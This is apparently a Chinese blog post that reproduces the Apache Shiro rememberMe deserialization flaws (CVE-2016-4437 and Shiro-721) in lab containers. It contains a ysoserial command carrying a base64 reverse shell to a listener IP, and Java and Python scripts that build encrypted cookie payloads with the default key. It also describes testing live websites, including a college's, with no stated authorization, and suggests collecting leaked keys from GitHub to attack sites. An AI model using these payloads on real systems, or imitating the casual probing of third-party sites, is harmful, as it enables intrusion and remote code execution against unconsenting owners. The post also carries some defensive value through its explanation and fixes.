沉铝汤的破站

IS LIFE ALWAYS THIS HARD, OR IS IT JUST WHEN YOU'RE A KID

Shiro漏洞复现之Cookie反序列化

0x00 前言


这几天没更新,是因为跑去渗透测试某带专的网站去了。12号那天在外面玩了一天,回来跑了步,随便找几个网站测测,结果真的被我找到了一个API未授权访问,高危😋。这应该算本人第二个找到的漏洞,但却是第一个高危(没啥技术含量,就不细🔒了)…后面两天还想看看某带专有没有漏洞,无果,发现自己的知识面还是太窄了,所以还是先学习吧。

本篇包含以下元素:

  • Apache Shiro反序列化漏洞(CVE-2016-4437 or Shiro-550,同一个漏洞,不同称呼罢了)
  • Apache Shiro反序列化漏洞(Shiro-721)

0x01 CVE-2016-4437 or Shiro-550


漏洞原理

在Shrio框架中,为了让登录过用户下次打开浏览器不用重复登陆,使用了名为rememberMe的cookie,其值经过了序列化,AES加密,Base64加密三步。

在识别身份的时候,会反向进行这三步: Base64解密,AES解密,反序列化。但是Shiro的1.2.4版本以及之前的版本中将默认的AES的密钥硬编码在了代码之中(其Base64加密的值为kPH+bIxk5D2deZiIxcaaaA==),所以只要我们拿到密钥(Shiro开源,这很容易做到)且开发者没有在源码更换重新编译(一般人都不会)的话,就能够将任意的恶意序列化内容设置为cookie的值,同时,Shiro又未对反序列的内容作过滤,这就导致了十分容易被反序列化攻击。

Shrio指纹识别

Cookie中加入rememberMe=1,响应数据包set-cookie显示rememberMe=deleteMe,即表示此网站使用了Shrio框架。

漏洞环境

使用vulhub即可,需要docker-compose,具体可看官方文档,此处不作详述。

漏洞复现

界面如下:

image-20211015164532089

值得注意的是,有一个”Remember me”的功能,Burp抓包,Cookie中接入rememberMe=1(注意是Me,不是me,打错了你就和我一样找问题找一百年吧😭),查看结果:

image-20211015224538899

这里有两个rememberMe,可能哪里犯病了,正常应该不会有两个

使用了Shiro框架没错了,下面是利用思路:

  • 选一个Gadget(vulhub里面是使用了CommonsBeanutils1)
  • 用默认的密钥对Gadget进行AES加密,接着Base64加密
  • 将最后的Payload赋值给cookie中的rememberme

值得注意的是,并不是所有的反序列化都可以成功,因为Shiro的反序列化对原生类进行了重写,这个我们以后再来分析

生成Gadget之前,我们需要注意一个点,这也是我之前分析了这么多Java反序列化所不知道的,就是Java中的exec函数对管道符和空格的解析有点问题,如ls > xx.txt,会被解析为ls两个目录(>与xx.txt)而不是将ls结果输入到xx.txt;ls 'the test',会被解析为ls 'the' 'test',为了避免这种错误,我们可以对命令进行编码。

这里有一个在线网站:java.lang.Runtime.exec() Payload Workarounds - @Jackson_T (jackson-t.ca)

image-20211015224943057

把红框的命令复制,然后我们就可以利用ysoserial来生成Gadget了:

java -jar ysoserial.jar CommonsBeanutils1 "bash -c {echo,YmFzaCAtaSAmPiAvZGV2L3RjcC8xOTIuMTY4LjY1LjEvMjMzMyAwPiYx}|{base64,-d}|{bash,-i}" > poc.ser

得到Gadget之后,我们下一步就是将其进行AES加密,这里使用vulhub为我们准备的代码:

import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.codec.CodecSupport;
import org.apache.shiro.util.ByteSource;
import org.apache.shiro.codec.Base64;
import org.apache.shiro.io.DefaultSerializer;

import java.nio.file.FileSystems;
import java.nio.file.Files;
import java.nio.file.Paths;

public class TestRemember {
    public static void main(String[] args) throws Exception {
        byte[] payloads = Files.readAllBytes(FileSystems.getDefault().getPath("/path to poc.ser"));

        AesCipherService aes = new AesCipherService();
        byte[] key = Base64.decode(CodecSupport.toBytes("kPH+bIxk5D2deZiIxcaaaA=="));

        ByteSource ciphertext = aes.encrypt(payloads, key);
        System.out.printf(ciphertext.toString());
    }
}

但是在运行这段代码之前,我们先要用maven导入一下Shiro的组件:

<dependencies>
    <dependency>
        <groupId>org.apache.shiro</groupId>
        <artifactId>shiro-core</artifactId>
        <version>1.2.4</version>
    </dependency>
</dependencies>

运行后,得到的是一大串Base64,我们先开启监听,然后Payload替换到cookie之中:

image-20211015225346539

成功反弹shell:

image-20211015225428958

这里再提供一个生成加密Payload的Python脚本(需要先pip3 install pycryptodome):

import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
    popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'CommonsBeanutils1', command], stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
    iv = uuid.uuid4().bytes
    encryptor = AES.new(key, AES.MODE_CBC, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext

if __name__ == '__main__':
    payload = encode_rememberme(sys.argv[1])   
print("rememberMe={0}".format(payload.decode()))

使用方法: python3 xxx.py "bash -c {echo,YmFzaCAtaSAmPiAvZGV2L3RjcC8xOTIuMTY4LjY1LjEvMjMzMyAwPiYx}|{base64,-d}|{bash,-i}"

漏洞的拓展

官方的修复方法是在>=1.2.5的版本中让Shrio每次启动的时候都随机生成一个密钥或由用户自己指定,但是这并不是说这些高版本下就不存在反序列化问题了,只要我们能够获得所使用的密钥,就依然能够进行攻击。有的网站使用的是网上的基于Shiro开源项目,而其中可能指定了密钥,所以我们可以在Github等开源社区中搜索相应项目的密钥(关键词setCipherKey(Base64.decode(“ 等),来尝试爆破,如果网站正好没修改,那我们就能攻击成功。

0x02 Shiro-721


漏洞原理

在Shrio版本<=1.4.1中,Shiro所采用的是AES-128-CBC加密模式, 并采用了PKCS#5的Padding模式,并且当存在一个有效身份认证时响应包里不会有rememberMe=deleteMe,但是当出现Padding错误时会出现,而Java的反序列化即使后面存在莫名奇妙的数据也不影响前面的反序列化,这就导致了如果在一个有效身份认证之后拼接一段数据,仍然能够成功认证,进而就意味着如果后面一段数据不满足Padding规则,就会出现deleteMe,满足则不出现。这样便符合了Padding-Oracle-Attack的条件,黑客能够通过这种攻击,构造明文为任意内容的密文,当然因为这里有反序列化,黑客自然会构造能够解密出恶意序列化Payload的密文。

Padding Oracle

专门出了一篇文章来讲解:浅显易懂のPadding-Oracle-Attack讲解,这里与Shiro有关的是,利用Padding-Oracle-Attack构造密文。

环境搭建

因为之前那个环境有点犯病或者是版本问题导致不管怎样都有deleteMe,这样子下去,铁定是不行的,所以我们换一个环境:inspiringz/Shiro-721: Shiro-721 RCE Via RememberMe Padding Oracle Attack (github.com)

git clone https://github.com/inspiringz/Shiro-721.git
cd Shiro-721/Docker
docker build -t shiro-721 .
docker run -p 8080:8080 -d shiro-721

搭建成功后的样子,如下图所示:

image-20211024142406250

漏洞复现

可以看到,当存在一个有效的身份认证时,是不会出现deleteMe的:

image-20211024142758030

随便在后面输入一个Padding,发现仍然能够成功认证(虽然身份变为了Guest),但是会因为Padding Error而出现deleteMe:

image-20211027221719887

然后我们就能够根据浅显易懂のPadding-Oracle-Attack讲解中介绍的方法编写一个脚本,当然,由于我很懒🤣,就用这个项目里现成的。

首先,我们用ysoserial生成一个payload,这里依然使用CommonsBeanutils1(原因以后的文章来分析),并且尽量使用短一点的命令,这样构造的时间短些:

java -jar ysoserial.jar  CommonsBeanutils1 "touch /tmp/success" > payload.class

然后我们使用Python3脚本:

python3 shiro_exp.py http://你的IP:8080/home.jsp 你的Cookie payload.class

因为跑出来需要时间,这里就先不写了。

漏洞修复

在Shiro>=1.4.2的版本中,AES的加密模式变为了GCM模式,从而避免了Padding-Oracle-Attack。

0x03 参考


Padding Oracle Attack 浅析 - lightless blog

padding oracle和cbc翻转攻击 · sky’s blog (skysec.top)